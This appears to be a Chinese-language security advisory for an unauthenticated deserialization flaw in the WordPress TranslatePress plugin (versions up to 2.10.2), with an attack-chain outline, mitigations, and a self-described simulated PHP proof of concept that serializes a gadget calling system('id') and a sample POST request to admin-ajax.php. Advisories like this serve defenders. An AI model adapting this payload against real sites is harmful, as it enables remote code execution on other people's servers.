CVE-2025-58592 WordPress TranslatePress插件反序列化漏洞

漏洞信息

漏洞编号

CVE-2025-58592

漏洞类型

反序列化漏洞

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress TranslatePress Multilingual插件

漏洞概述

CVE-2025-58592是WordPress TranslatePress Multilingual插件中的一个高危安全漏洞，CVSS评分达到8.1分。该漏洞属于不信任数据的反序列化（Deserialization of Untrusted Data）问题，攻击者可以利用此漏洞实现对象注入（Object Injection），从而执行任意代码或获取服务器控制权限。TranslatePress是一款流行的WordPress多语言插件，允许用户轻松创建多语言网站，在全球范围内拥有大量用户。此漏洞影响插件从任意版本到2.10.2的所有版本。由于该插件在WordPress生态系统中使用广泛，此次漏洞可能影响大量使用该插件构建多语言网站的用户。攻击者无需认证即可利用此漏洞，这大大增加了其危害性。建议所有使用该插件的用户立即采取防护措施，避免遭受潜在攻击。

技术细节

该漏洞存在于TranslatePress插件对用户输入数据的反序列化处理过程中。插件在处理某些请求参数时，直接对用户可控的数据进行unserialize()操作，而没有进行充分的输入验证和过滤。反序列化漏洞的核心问题在于，当PHP的unserialize()函数处理精心构造的恶意序列化数据时，可能触发对象魔术方法（如__wakeup、__destruct、__toString等），从而执行任意代码。攻击者可以利用PHP的POP链（Property-Oriented Programming）构造恶意payload，在反序列化过程中触发预设的危险操作，如文件操作、命令执行等。由于该插件处理的数据可能来自前端请求，攻击者可以通过构造特定的HTTP请求注入恶意序列化对象。成功利用此漏洞可能导致：1）远程代码执行，获取服务器完全控制权；2）读取服务器上的敏感文件；3）植入后门程序；4）横向移动攻击内网其他系统。

攻击链分析

STEP 1

步骤1

信息收集：攻击者识别目标网站使用的TranslatePress插件版本，确认版本小于等于2.10.2

STEP 2

步骤2

构造恶意payload：攻击者利用PHP反序列化特性，构造包含危险函数调用的序列化对象

STEP 3

步骤3

发送攻击请求：通过WordPress AJAX端点或插件的其他数据处理接口，发送包含恶意序列化数据的HTTP请求

STEP 4

步骤4

触发反序列化：插件对用户输入执行unserialize()操作，触发对象魔术方法

STEP 5

步骤5

代码执行：恶意对象的__destruct()或其他魔术方法被调用，执行攻击者预设的危险操作

STEP 6

步骤6

后渗透：攻击者成功执行系统命令后可植入后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<?php
// CVE-2025-58592 PoC - TranslatePress Unserialize Vulnerability
// This is a simulated PoC for educational purposes only

// Gadget chain example using PHP magic methods
class TranslatePressGadget {
    public $callback;
    public $args;
    
    function __construct() {
        // This simulates a gadget chain that could be exploited
        // In real scenario, this would use existing PHP classes
    }
    
    function __destruct() {
        if (isset($this->callback)) {
            call_user_func_array($this->callback, $this->args);
        }
    }
}

// Generate malicious payload
$payload = new TranslatePressGadget();
$payload->callback = 'system';  // or 'exec', 'passthru', etc.
$payload->args = ['id'];  // Command to execute

// Serialize the malicious object
$exploit = serialize($payload);
echo "Malicious Payload: " . $exploit . "\n";
echo "URL Encoded: " . urlencode($exploit) . "\n";

// Example HTTP Request:
/*
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=trp_translate_string&translation[original_string]=[MALICIOUS_SERIALIZED_DATA]
*/
?>

影响范围

TranslatePress Multilingual <= 2.10.2

防御指南

临时缓解措施

在官方补丁发布之前，可采取以下临时缓解措施：1）限制用户对可能触发反序列化操作的接口访问；2）使用Web应用防火墙规则阻止包含序列化数据特征的请求；3）临时禁用TranslatePress插件或切换到其他多语言解决方案；4）加强对WordPress管理后台的访问控制；5）实施入侵检测系统监控异常请求模式；6）定期备份网站数据以便遭受攻击后快速恢复。